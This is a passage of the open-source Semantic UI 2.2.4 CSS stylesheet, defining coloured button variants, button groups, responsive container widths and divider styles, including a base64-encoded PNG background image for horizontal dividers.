.ui.inverted.teal.buttons .basic.button,
.ui.inverted.teal.basic.button {
  background-color: transparent;
  box-shadow: 0px 0px 0px 2px rgba(255, 255, 255, 0.5) inset !important;
  color: #FFFFFF !important;
}

.ui.inverted.teal.basic.buttons .button:hover,
.ui.inverted.teal.buttons .basic.button:hover,
.ui.inverted.teal.basic.button:hover {
  box-shadow: 0px 0px 0px 2px #54ffff inset !important;
  color: #6DFFFF !important;
}

.ui.inverted.teal.basic.buttons .button:focus,
.ui.inverted.teal.basic.buttons .button:focus,
.ui.inverted.teal.basic.button:focus {
  box-shadow: 0px 0px 0px 2px #44ffff inset !important;
  color: #6DFFFF !important;
}

.ui.inverted.teal.basic.buttons .active.button,
.ui.inverted.teal.buttons .basic.active.button,
.ui.inverted.teal.basic.active.button {
  box-shadow: 0px 0px 0px 2px #54ffff inset !important;
  color: #6DFFFF !important;
}

.ui.inverted.teal.basic.buttons .button:active,
.ui.inverted.teal.buttons .basic.button:active,
.ui.inverted.teal.basic.button:active {
  box-shadow: 0px 0px 0px 2px #3affff inset !important;
  color: #6DFFFF !important;
}

/*--- Olive ---*/

.ui.olive.buttons .button,
.ui.olive.button {
  background-color: #B5CC18;
  color: #FFFFFF;
  text-shadow: none;
  background-image: none;
}

.ui.olive.button {
  box-shadow: 0px 0em 0px 0px rgba(34, 36, 38, 0.15) inset;
}

.ui.olive.buttons .button:hover,
.ui.olive.button:hover {
  background-color: #a7bd0d;
  color: #FFFFFF;
  text-shadow: none;
}

.ui.olive.buttons .button:focus,
.ui.olive.button:focus {
  background-color: #a0b605;
  color: #FFFFFF;
  text-shadow: none;
}

.ui.olive.buttons .button:active,
.ui.olive.button:active {
  background-color: #8d9e13;
  color: #FFFFFF;
  text-shadow: none;
}

.ui.olive.buttons .active.button,
.ui.olive.buttons .active.button:active,
.ui.olive.active.button,
.ui.olive.button .active.button:active {
  background-color: #aac109;
  color: #FFFFFF;
  text-shadow: none;
}

/* Basic */

.ui.basic.olive.buttons .button,
.ui.basic.olive.button {
  box-shadow: 0px 0px 0px 1px #B5CC18 inset !important;
  color: #B5CC18 !important;
}

.ui.basic.olive.buttons .button:hover,
.ui.basic.olive.button:hover {
  background: transparent !important;
  box-shadow: 0px 0px 0px 1px #a7bd0d inset !important;
  color: #a7bd0d !important;
}

.ui.basic.olive.buttons .button:focus,
.ui.basic.olive.button:focus {
  background: transparent !important;
  box-shadow: 0px 0px 0px 1px #a0b605 inset !important;
  color: #a7bd0d !important;
}

.ui.basic.olive.buttons .active.button,
.ui.basic.olive.active.button {
  background: transparent !important;
  box-shadow: 0px 0px 0px 1px #aac109 inset !important;
  color: #8d9e13 !important;
}

.ui.basic.olive.buttons .button:active,
.ui.basic.olive.button:active {
  box-shadow: 0px 0px 0px 1px #8d9e13 inset !important;
  color: #8d9e13 !important;
}

.ui.buttons:not(.vertical) > .basic.olive.button:not(:first-child) {
  margin-left: -1px;
}

/* Inverted */

.ui.inverted.olive.buttons .button,
.ui.inverted.olive.button {
  background-color: transparent;
  box-shadow: 0px 0px 0px 2px #D9E778 inset !important;
  color: #D9E778;
}

.ui.inverted.olive.buttons .button:hover,
.ui.inverted.olive.button:hover,
.ui.inverted.olive.buttons .button:focus,
.ui.inverted.olive.button:focus,
.ui.inverted.olive.buttons .button.active,
.ui.inverted.olive.button.active,
.ui.inverted.olive.buttons .button:active,
.ui.inverted.olive.button:active {
  box-shadow: none !important;
  color: rgba(0, 0, 0, 0.6);
}

.ui.inverted.olive.buttons .button:hover,
.ui.inverted.olive.button:hover {
  background-color: #d8ea5c;
}

.ui.inverted.olive.buttons .button:focus,
.ui.inverted.olive.button:focus {
  background-color: #daef47;
}

.ui.inverted.olive.buttons .active.button,
.ui.inverted.olive.active.button {
  background-color: #daed59;
}

.ui.inverted.olive.buttons .button:active,
.ui.inverted.olive.button:active {
  background-color: #cddf4d;
}

/* Inverted Basic */

.ui.inverted.olive.basic.buttons .button,
.ui.inverted.olive.buttons .basic.button,
.ui.inverted.olive.basic.button {
  background-color: transparent;
  box-shadow: 0px 0px 0px 2px rgba(255, 255, 255, 0.5) inset !important;
  color: #FFFFFF !important;
}

.ui.inverted.olive.basic.buttons .button:hover,
.ui.inverted.olive.buttons .basic.button:hover,
.ui.inverted.olive.basic.button:hover {
  box-shadow: 0px 0px 0px 2px #d8ea5c inset !important;
  color: #D9E778 !important;
}

.ui.inverted.olive.basic.buttons .button:focus,
.ui.inverted.olive.basic.buttons .button:focus,
.ui.inverted.olive.basic.button:focus {
  box-shadow: 0px 0px 0px 2px #daef47 inset !important;
  color: #D9E778 !important;
}

.ui.inverted.olive.basic.buttons .active.button,
.ui.inverted.olive.buttons .basic.active.button,
.ui.inverted.olive.basic.active.button {
  box-shadow: 0px 0px 0px 2px #daed59 inset !important;
  color: #D9E778 !important;
}

.ui.inverted.olive.basic.buttons .button:active,
.ui.inverted.olive.buttons .basic.button:active,
.ui.inverted.olive.basic.button:active {
  box-shadow: 0px 0px 0px 2px #cddf4d inset !important;
  color: #D9E778 !important;
}

/*--- Yellow ---*/

.ui.yellow.buttons .button,
.ui.yellow.button {
  background-color: #FBBD08;
  color: #FFFFFF;
  text-shadow: none;
  background-image: none;
}

.ui.yellow.button {
  box-shadow: 0px 0em 0px 0px rgba(34, 36, 38, 0.15) inset;
}

.ui.yellow.buttons .button:hover,
.ui.yellow.button:hover {
  background-color: #eaae00;
  color: #FFFFFF;
  text-shadow: none;
}

.ui.yellow.buttons .button:focus,
.ui.yellow.button:focus {
  background-color: #daa300;
  color: #FFFFFF;
  text-shadow: none;
}

.ui.yellow.buttons .button:active,
.ui.yellow.button:active {
  background-color: #cd9903;
  color: #FFFFFF;
  text-shadow: none;
}

.ui.yellow.buttons .active.button,
.ui.yellow.buttons .active.button:active,
.ui.yellow.active.button,
.ui.yellow.button .active.button:active {
  background-color: #eaae00;
  color: #FFFFFF;
  text-shadow: none;
}

/* Basic */

.ui.basic.yellow.buttons .button,
.ui.basic.yellow.button {
  box-shadow: 0px 0px 0px 1px #FBBD08 inset !important;
  color: #FBBD08 !important;
}

.ui.basic.yellow.buttons .button:hover,
.ui.basic.yellow.button:hover {
  background: transparent !important;
  box-shadow: 0px 0px 0px 1px #eaae00 inset !important;
  color: #eaae00 !important;
}

.ui.basic.yellow.buttons .button:focus,
.ui.basic.yellow.button:focus {
  background: transparent !important;
  box-shadow: 0px 0px 0px 1px #daa300 inset !important;
  color: #eaae00 !important;
}

.ui.basic.yellow.buttons .active.button,
.ui.basic.yellow.active.button {
  background: transparent !important;
  box-shadow: 0px 0px 0px 1px #eaae00 inset !important;
  color: #cd9903 !important;
}

.ui.basic.yellow.buttons .button:active,
.ui.basic.yellow.button:active {
  box-shadow: 0px 0px 0px 1px #cd9903 inset !important;
  color: #cd9903 !important;
}

.ui.buttons:not(.vertical) > .basic.yellow.button:not(:first-child) {
  margin-left: -1px;
}

/* Inverted */

.ui.inverted.yellow.buttons .button,
.ui.inverted.yellow.button {
  background-color: transparent;
  box-shadow: 0px 0px 0px 2px #FFE21F inset !important;
  color: #FFE21F;
}

.ui.inverted.yellow.buttons .button:hover,
.ui.inverted.yellow.button:hover,
.ui.inverted.yellow.buttons .button:focus,
.ui.inverted.yellow.button:focus,
.ui.inverted.yellow.buttons .button.active,
.ui.inverted.yellow.button.active,
.ui.inverted.yellow.buttons .button:active,
.ui.inverted.yellow.button:active {
  box-shadow: none !important;
  color: rgba(0, 0, 0, 0.6);
}

.ui.inverted.yellow.buttons .button:hover,
.ui.inverted.yellow.button:hover {
  background-color: #ffdf05;
}

.ui.inverted.yellow.buttons .button:focus,
.ui.inverted.yellow.button:focus {
  background-color: #f5d500;
}

.ui.inverted.yellow.buttons .active.button,
.ui.inverted.yellow.active.button {
  background-color: #ffdf05;
}

.ui.inverted.yellow.buttons .button:active,
.ui.inverted.yellow.button:active {
  background-color: #ebcd00;
}

/* Inverted Basic */

.ui.inverted.yellow.basic.buttons .button,
.ui.inverted.yellow.buttons .basic.button,
.ui.inverted.yellow.basic.button {
  background-color: transparent;
  box-shadow: 0px 0px 0px 2px rgba(255, 255, 255, 0.5) inset !important;
  color: #FFFFFF !important;
}

.ui.inverted.yellow.basic.buttons .button:hover,
.ui.inverted.yellow.buttons .basic.button:hover,
.ui.inverted.yellow.basic.button:hover {
  box-shadow: 0px 0px 0px 2px #ffdf05 inset !important;
  color: #FFE21F !important;
}

.ui.inverted.yellow.basic.buttons .button:focus,
.ui.inverted.yellow.basic.buttons .button:focus,
.ui.inverted.yellow.basic.button:focus {
  box-shadow: 0px 0px 0px 2px #f5d500 inset !important;
  color: #FFE21F !important;
}

.ui.inverted.yellow.basic.buttons .active.button,
.ui.inverted.yellow.buttons .basic.active.button,
.ui.inverted.yellow.basic.active.button {
  box-shadow: 0px 0px 0px 2px #ffdf05 inset !important;
  color: #FFE21F !important;
}

.ui.inverted.yellow.basic.buttons .button:active,
.ui.inverted.yellow.buttons .basic.button:active,
.ui.inverted.yellow.basic.button:active {
  box-shadow: 0px 0px 0px 2px #ebcd00 inset !important;
  color: #FFE21F !important;
}

/*-------------------
       Primary
--------------------*/

/*--- Standard ---*/

.ui.primary.buttons .button,
.ui.primary.button {
  background-color: #2185D0;
  color: #FFFFFF;
  text-shadow: none;
  background-image: none;
}

.ui.primary.button {
  box-shadow: 0px 0em 0px 0px rgba(34, 36, 38, 0.15) inset;
}

.ui.primary.buttons .button:hover,
.ui.primary.button:hover {
  background-color: #1678c2;
  color: #FFFFFF;
  text-shadow: none;
}

.ui.primary.buttons .button:focus,
.ui.primary.button:focus {
  background-color: #0d71bb;
  color: #FFFFFF;
  text-shadow: none;
}

.ui.primary.buttons .button:active,
.ui.primary.button:active {
  background-color: #1a69a4;
  color: #FFFFFF;
  text-shadow: none;
}

.ui.primary.buttons .active.button,
.ui.primary.buttons .active.button:active,
.ui.primary.active.button,
.ui.primary.button .active.button:active {
  background-color: #1279c6;
  color: #FFFFFF;
  text-shadow: none;
}

/* Basic */

.ui.basic.primary.buttons .button,
.ui.basic.primary.button {
  box-shadow: 0px 0px 0px 1px #2185D0 inset !important;
  color: #2185D0 !important;
}

.ui.basic.primary.buttons .button:hover,
.ui.basic.primary.button:hover {
  background: transparent !important;
  box-shadow: 0px 0px 0px 1px #1678c2 inset !important;
  color: #1678c2 !important;
}

.ui.basic.primary.buttons .button:focus,
.ui.basic.primary.button:focus {
  background: transparent !important;
  box-shadow: 0px 0px 0px 1px #0d71bb inset !important;
  color: #1678c2 !important;
}

.ui.basic.primary.buttons .active.button,
.ui.basic.primary.active.button {
  background: transparent !important;
  box-shadow: 0px 0px 0px 1px #1279c6 inset !important;
  color: #1a69a4 !important;
}

.ui.basic.primary.buttons .button:active,
.ui.basic.primary.button:active {
  box-shadow: 0px 0px 0px 1px #1a69a4 inset !important;
  color: #1a69a4 !important;
}

.ui.buttons:not(.vertical) > .basic.primary.button:not(:first-child) {
  margin-left: -1px;
}

/*-------------------
      Secondary
--------------------*/

/* Standard */

.ui.secondary.buttons .button,
.ui.secondary.button {
  background-color: #1B1C1D;
  color: #FFFFFF;
  text-shadow: none;
  background-image: none;
}

.ui.secondary.button {
  box-shadow: 0px 0em 0px 0px rgba(34, 36, 38, 0.15) inset;
}

.ui.secondary.buttons .button:hover,
.ui.secondary.button:hover {
  background-color: #27292a;
  color: #FFFFFF;
  text-shadow: none;
}

.ui.secondary.buttons .button:focus,
.ui.secondary.button:focus {
  background-color: #2e3032;
  color: #FFFFFF;
  text-shadow: none;
}

.ui.secondary.buttons .button:active,
.ui.secondary.button:active {
  background-color: #343637;
  color: #FFFFFF;
  text-shadow: none;
}

.ui.secondary.buttons .active.button,
.ui.secondary.buttons .active.button:active,
.ui.secondary.active.button,
.ui.secondary.button .active.button:active {
  background-color: #27292a;
  color: #FFFFFF;
  text-shadow: none;
}

/* Basic */

.ui.basic.secondary.buttons .button,
.ui.basic.secondary.button {
  box-shadow: 0px 0px 0px 1px #1B1C1D inset !important;
  color: #1B1C1D !important;
}

.ui.basic.secondary.buttons .button:hover,
.ui.basic.secondary.button:hover {
  background: transparent !important;
  box-shadow: 0px 0px 0px 1px #27292a inset !important;
  color: #27292a !important;
}

.ui.basic.secondary.buttons .button:focus,
.ui.basic.secondary.button:focus {
  background: transparent !important;
  box-shadow: 0px 0px 0px 1px #2e3032 inset !important;
  color: #27292a !important;
}

.ui.basic.secondary.buttons .active.button,
.ui.basic.secondary.active.button {
  background: transparent !important;
  box-shadow: 0px 0px 0px 1px #27292a inset !important;
  color: #343637 !important;
}

.ui.basic.secondary.buttons .button:active,
.ui.basic.secondary.button:active {
  box-shadow: 0px 0px 0px 1px #343637 inset !important;
  color: #343637 !important;
}

.ui.buttons:not(.vertical) > .basic.primary.button:not(:first-child) {
  margin-left: -1px;
}

/*---------------
    Positive
----------------*/

/* Standard */

.ui.positive.buttons .button,
.ui.positive.button {
  background-color: #21BA45;
  color: #FFFFFF;
  text-shadow: none;
  background-image: none;
}

.ui.positive.button {
  box-shadow: 0px 0em 0px 0px rgba(34, 36, 38, 0.15) inset;
}

.ui.positive.buttons .button:hover,
.ui.positive.button:hover {
  background-color: #16ab39;
  color: #FFFFFF;
  text-shadow: none;
}

.ui.positive.buttons .button:focus,
.ui.positive.button:focus {
  background-color: #0ea432;
  color: #FFFFFF;
  text-shadow: none;
}

.ui.positive.buttons .button:active,
.ui.positive.button:active {
  background-color: #198f35;
  color: #FFFFFF;
  text-shadow: none;
}

.ui.positive.buttons .active.button,
.ui.positive.buttons .active.button:active,
.ui.positive.active.button,
.ui.positive.button .active.button:active {
  background-color: #13ae38;
  color: #FFFFFF;
  text-shadow: none;
}

/* Basic */

.ui.basic.positive.buttons .button,
.ui.basic.positive.button {
  box-shadow: 0px 0px 0px 1px #21BA45 inset !important;
  color: #21BA45 !important;
}

.ui.basic.positive.buttons .button:hover,
.ui.basic.positive.button:hover {
  background: transparent !important;
  box-shadow: 0px 0px 0px 1px #16ab39 inset !important;
  color: #16ab39 !important;
}

.ui.basic.positive.buttons .button:focus,
.ui.basic.positive.button:focus {
  background: transparent !important;
  box-shadow: 0px 0px 0px 1px #0ea432 inset !important;
  color: #16ab39 !important;
}

.ui.basic.positive.buttons .active.button,
.ui.basic.positive.active.button {
  background: transparent !important;
  box-shadow: 0px 0px 0px 1px #13ae38 inset !important;
  color: #198f35 !important;
}

.ui.basic.positive.buttons .button:active,
.ui.basic.positive.button:active {
  box-shadow: 0px 0px 0px 1px #198f35 inset !important;
  color: #198f35 !important;
}

.ui.buttons:not(.vertical) > .basic.primary.button:not(:first-child) {
  margin-left: -1px;
}

/*---------------
     Negative
----------------*/

/* Standard */

.ui.negative.buttons .button,
.ui.negative.button {
  background-color: #DB2828;
  color: #FFFFFF;
  text-shadow: none;
  background-image: none;
}

.ui.negative.button {
  box-shadow: 0px 0em 0px 0px rgba(34, 36, 38, 0.15) inset;
}

.ui.negative.buttons .button:hover,
.ui.negative.button:hover {
  background-color: #d01919;
  color: #FFFFFF;
  text-shadow: none;
}

.ui.negative.buttons .button:focus,
.ui.negative.button:focus {
  background-color: #ca1010;
  color: #FFFFFF;
  text-shadow: none;
}

.ui.negative.buttons .button:active,
.ui.negative.button:active {
  background-color: #b21e1e;
  color: #FFFFFF;
  text-shadow: none;
}

.ui.negative.buttons .active.button,
.ui.negative.buttons .active.button:active,
.ui.negative.active.button,
.ui.negative.button .active.button:active {
  background-color: #d41515;
  color: #FFFFFF;
  text-shadow: none;
}

/* Basic */

.ui.basic.negative.buttons .button,
.ui.basic.negative.button {
  box-shadow: 0px 0px 0px 1px #DB2828 inset !important;
  color: #DB2828 !important;
}

.ui.basic.negative.buttons .button:hover,
.ui.basic.negative.button:hover {
  background: transparent !important;
  box-shadow: 0px 0px 0px 1px #d01919 inset !important;
  color: #d01919 !important;
}

.ui.basic.negative.buttons .button:focus,
.ui.basic.negative.button:focus {
  background: transparent !important;
  box-shadow: 0px 0px 0px 1px #ca1010 inset !important;
  color: #d01919 !important;
}

.ui.basic.negative.buttons .active.button,
.ui.basic.negative.active.button {
  background: transparent !important;
  box-shadow: 0px 0px 0px 1px #d41515 inset !important;
  color: #b21e1e !important;
}

.ui.basic.negative.buttons .button:active,
.ui.basic.negative.button:active {
  box-shadow: 0px 0px 0px 1px #b21e1e inset !important;
  color: #b21e1e !important;
}

.ui.buttons:not(.vertical) > .basic.primary.button:not(:first-child) {
  margin-left: -1px;
}

/*******************************
            Groups
*******************************/

.ui.buttons {
  display: -webkit-inline-box;
  display: -webkit-inline-flex;
  display: -ms-inline-flexbox;
  display: inline-flex;
  -webkit-box-orient: horizontal;
  -webkit-box-direction: normal;
  -webkit-flex-direction: row;
  -ms-flex-direction: row;
  flex-direction: row;
  font-size: 0em;
  vertical-align: baseline;
  margin: 0em 0.25em 0em 0em;
}

.ui.buttons:not(.basic):not(.inverted) {
  box-shadow: none;
}

/* Clearfix */

.ui.buttons:after {
  content: ".";
  display: block;
  height: 0;
  clear: both;
  visibility: hidden;
}

/* Standard Group */

.ui.buttons .button {
  -webkit-box-flex: 1;
  -webkit-flex: 1 0 auto;
  -ms-flex: 1 0 auto;
  flex: 1 0 auto;
  margin: 0em;
  border-radius: 0em;
  margin: 0px 0px 0px 0px;
}

.ui.buttons > .ui.button:not(.basic):not(.inverted),
.ui.buttons:not(.basic):not(.inverted) > .button {
  box-shadow: 0px 0px 0px 1px transparent inset, 0px 0em 0px 0px rgba(34, 36, 38, 0.15) inset;
}

.ui.buttons .button:first-child {
  border-left: none;
  margin-left: 0em;
  border-top-left-radius: 0.28571429rem;
  border-bottom-left-radius: 0.28571429rem;
}

.ui.buttons .button:last-child {
  border-top-right-radius: 0.28571429rem;
  border-bottom-right-radius: 0.28571429rem;
}

/* Vertical  Style */

.ui.vertical.buttons {
  display: -webkit-inline-box;
  display: -webkit-inline-flex;
  display: -ms-inline-flexbox;
  display: inline-flex;
  -webkit-box-orient: vertical;
  -webkit-box-direction: normal;
  -webkit-flex-direction: column;
  -ms-flex-direction: column;
  flex-direction: column;
}

.ui.vertical.buttons .button {
  display: block;
  float: none;
  width: 100%;
  margin: 0px 0px 0px 0px;
  box-shadow: none;
  border-radius: 0em;
}

.ui.vertical.buttons .button:first-child {
  border-top-left-radius: 0.28571429rem;
  border-top-right-radius: 0.28571429rem;
}

.ui.vertical.buttons .button:last-child {
  margin-bottom: 0px;
  border-bottom-left-radius: 0.28571429rem;
  border-bottom-right-radius: 0.28571429rem;
}

.ui.vertical.buttons .button:only-child {
  border-radius: 0.28571429rem;
}

/*******************************
         Theme Overrides
*******************************/

/*******************************
         Site Overrides
*******************************/
/*!
 * # Semantic UI 2.2.4 - Container
 * http://github.com/semantic-org/semantic-ui/
 *
 *
 * Released under the MIT license
 * http://opensource.org/licenses/MIT
 *
 */

/*******************************
            Container
*******************************/

/* All Sizes */

.ui.container {
  display: block;
  max-width: 100% !important;
}

/* Mobile */

@media only screen and (max-width: 767px) {
  .ui.container {
    width: auto !important;
    margin-left: 1em !important;
    margin-right: 1em !important;
  }

  .ui.grid.container {
    width: auto !important;
  }

  .ui.relaxed.grid.container {
    width: auto !important;
  }

  .ui.very.relaxed.grid.container {
    width: auto !important;
  }
}

/* Tablet */

@media only screen and (min-width: 768px) and (max-width: 991px) {
  .ui.container {
    width: 723px;
    margin-left: auto !important;
    margin-right: auto !important;
  }

  .ui.grid.container {
    width: calc( 723px  +  2rem ) !important;
  }

  .ui.relaxed.grid.container {
    width: calc( 723px  +  3rem ) !important;
  }

  .ui.very.relaxed.grid.container {
    width: calc( 723px  +  5rem ) !important;
  }
}

/* Small Monitor */

@media only screen and (min-width: 992px) and (max-width: 1199px) {
  .ui.container {
    width: 933px;
    margin-left: auto !important;
    margin-right: auto !important;
  }

  .ui.grid.container {
    width: calc( 933px  +  2rem ) !important;
  }

  .ui.relaxed.grid.container {
    width: calc( 933px  +  3rem ) !important;
  }

  .ui.very.relaxed.grid.container {
    width: calc( 933px  +  5rem ) !important;
  }
}

/* Large Monitor */

@media only screen and (min-width: 1200px) {
  .ui.container {
    width: 1127px;
    margin-left: auto !important;
    margin-right: auto !important;
  }

  .ui.grid.container {
    width: calc( 1127px  +  2rem ) !important;
  }

  .ui.relaxed.grid.container {
    width: calc( 1127px  +  3rem ) !important;
  }

  .ui.very.relaxed.grid.container {
    width: calc( 1127px  +  5rem ) !important;
  }
}

/*******************************
             Types
*******************************/

/* Text Container */

.ui.text.container {
  
  max-width: 700px !important;
  line-height: 1.5;
}

.ui.text.container {
  font-size: 1.14285714rem;
}

/* Fluid */

.ui.fluid.container {
  width: 100%;
}

/*******************************
           Variations
*******************************/

.ui[class*="left aligned"].container {
  text-align: left;
}

.ui[class*="center aligned"].container {
  text-align: center;
}

.ui[class*="right aligned"].container {
  text-align: right;
}

.ui.justified.container {
  text-align: justify;
  -webkit-hyphens: auto;
  -moz-hyphens: auto;
  -ms-hyphens: auto;
  hyphens: auto;
}

/*******************************
         Theme Overrides
*******************************/

/*******************************
         Site Overrides
*******************************/
/*!
 * # Semantic UI 2.2.4 - Divider
 * http://github.com/semantic-org/semantic-ui/
 *
 *
 * Released under the MIT license
 * http://opensource.org/licenses/MIT
 *
 */

/*******************************
            Divider
*******************************/

.ui.divider {
  margin: 1rem 0rem;
  line-height: 1;
  height: 0em;
  font-weight: bold;
  text-transform: uppercase;
  letter-spacing: 0.05em;
  color: rgba(0, 0, 0, 0.85);
  -webkit-user-select: none;
  -moz-user-select: none;
  -ms-user-select: none;
  user-select: none;
  -webkit-tap-highlight-color: rgba(0, 0, 0, 0);
}

/*--------------
      Basic
---------------*/

.ui.divider:not(.vertical):not(.horizontal) {
  border-top: 1px solid rgba(34, 36, 38, 0.15);
  border-bottom: 1px solid rgba(255, 255, 255, 0.1);
}

/*--------------
    Coupling
---------------*/

/* Allow divider between each column row */

.ui.grid > .column + .divider,
.ui.grid > .row > .column + .divider {
  left: auto;
}

/*--------------
   Horizontal
---------------*/

.ui.horizontal.divider {
  display: table;
  white-space: nowrap;
  height: auto;
  margin: '';
  line-height: 1;
  text-align: center;
}

.ui.horizontal.divider:before,
.ui.horizontal.divider:after {
  content: '';
  display: table-cell;
  position: relative;
  top: 50%;
  width: 50%;
  background-repeat: no-repeat;
}

.ui.horizontal.divider:before {
  background-position: right 1em top 50%;
}

.ui.horizontal.divider:after {
  background-position: left 1em top 50%;
}

/*--------------
    Vertical
---------------*/

.ui.vertical.divider {
  position: absolute;
  z-index: 2;
  top: 50%;
  left: 50%;
  margin: 0rem;
  padding: 0em;
  width: auto;
  height: 50%;
  line-height: 0em;
  text-align: center;
  -webkit-transform: translateX(-50%);
  -ms-transform: translateX(-50%);
  transform: translateX(-50%);
}

.ui.vertical.divider:before,
.ui.vertical.divider:after {
  position: absolute;
  left: 50%;
  content: '';
  z-index: 3;
  border-left: 1px solid rgba(34, 36, 38, 0.15);
  border-right: 1px solid rgba(255, 255, 255, 0.1);
  width: 0%;
  height: calc(100% -  1rem );
}

.ui.vertical.divider:before {
  top: -100%;
}

.ui.vertical.divider:after {
  top: auto;
  bottom: 0px;
}

/* Inside grid */

@media only screen and (max-width: 767px) {
  .ui.stackable.grid .ui.vertical.divider,
  .ui.grid .stackable.row .ui.vertical.divider {
    display: table;
    white-space: nowrap;
    height: auto;
    margin: '';
    overflow: hidden;
    line-height: 1;
    text-align: center;
    position: static;
    top: 0;
    left: 0;
    -webkit-transform: none;
    -ms-transform: none;
    transform: none;
  }

  .ui.stackable.grid .ui.vertical.divider:before,
  .ui.grid .stackable.row .ui.vertical.divider:before,
  .ui.stackable.grid .ui.vertical.divider:after,
  .ui.grid .stackable.row .ui.vertical.divider:after {
    position: static;
    left: 0;
    border-left: none;
    border-right: none;
    content: '';
    display: table-cell;
    position: relative;
    top: 50%;
    width: 50%;
    background-repeat: no-repeat;
  }

  .ui.stackable.grid .ui.vertical.divider:before,
  .ui.grid .stackable.row .ui.vertical.divider:before {
    background-position: right 1em top 50%;
  }

  .ui.stackable.grid .ui.vertical.divider:after,
  .ui.grid .stackable.row .ui.vertical.divider:after {
    background-position: left 1em top 50%;
  }
}

/*--------------
      Icon
---------------*/

.ui.divider > .icon {
  margin: 0rem;
  font-size: 1rem;
  height: 1em;
  vertical-align: middle;
}

/*******************************
          Variations
*******************************/

/*--------------
    Hidden
---------------*/

.ui.hidden.divider {
  border-color: transparent !important;
}

.ui.hidden.divider:before,
.ui.hidden.divider:after {
  display: none;
}

/*--------------
    Inverted
---------------*/

.ui.divider.inverted,
.ui.vertical.inverted.divider,
.ui.horizontal.inverted.divider {
  color: #FFFFFF;
}

.ui.divider.inverted,
.ui.divider.inverted:after,
.ui.divider.inverted:before {
  border-top-color: rgba(34, 36, 38, 0.15) !important;
  border-left-color: rgba(34, 36, 38, 0.15) !important;
  border-bottom-color: rgba(255, 255, 255, 0.15) !important;
  border-right-color: rgba(255, 255, 255, 0.15) !important;
}

/*--------------
    Fitted
---------------*/

.ui.fitted.divider {
  margin: 0em;
}

/*--------------
    Clearing
---------------*/

.ui.clearing.divider {
  clear: both;
}

/*--------------
    Section
---------------*/

.ui.section.divider {
  margin-top: 2rem;
  margin-bottom: 2rem;
}

/*--------------
     Sizes
---------------*/

.ui.divider {
  font-size: 1rem;
}

/*******************************
         Theme Overrides
*******************************/

.ui.horizontal.divider:before,
.ui.horizontal.divider:after {
  background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABaAAAAACCAYAAACuTHuKAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAyFpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuNS1jMDE0IDc5LjE1MTQ4MSwgMjAxMy8wMy8xMy0xMjowOToxNSAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvIiB4bWxuczp4bXBNTT0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL21tLyIgeG1sbnM6c3RSZWY9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9zVHlwZS9SZXNvdXJjZVJlZiMiIHhtcDpDcmVhdG9yVG9vbD0iQWRvYmUgUGhvdG9zaG9wIENDIChXaW5kb3dzKSIgeG1wTU06SW5zdGFuY2VJRD0ieG1wLmlpZDo1OThBRDY4OUNDMTYxMUU0OUE3NUVGOEJDMzMzMjE2NyIgeG1wTU06RG9jdW1lbnRJRD0ieG1wLmRpZDo1OThBRDY4QUNDMTYxMUU0OUE3NUVGOEJDMzMzMjE2NyI+IDx4bXBNTTpEZXJpdmVkRnJvbSBzdFJlZjppbnN0YW5jZUlEPSJ4bXAuaWlkOjU5OEFENjg3Q0MxNjExRTQ5QTc1RUY4QkMzMzMyMTY3IiBzdFJlZjpkb2N1bWVudElEPSJ4bXAuZGlkOjU5OEFENjg4Q0MxNjExRTQ5QTc1RUY4QkMzMzMyMTY3Ii8+IDwvcmRmOkRlc2NyaXB0aW9uPiA8L3JkZjpSREY+IDwveDp4bXBtZXRhPiA8P3hwYWNrZXQgZW5kPSJyIj8+VU513gAAADVJREFUeNrs0DENACAQBDBIWLGBJQby/mUcJn5sJXQmOQMAAAAAAJqt+2prAAAAAACg2xdgANk6BEVuJgyMAAAAAElFTkSuQmCC');
}

@media only screen and (max-width: 767px) {
  .ui.stackable.grid .ui.vertical.divider:before,
  .ui.grid .stackable.row .ui.vertical.divider:before,
  .ui.stackable.grid .ui.vertical.divider:after,
  .ui.grid .stackable.row .ui.vertical.divider:after {
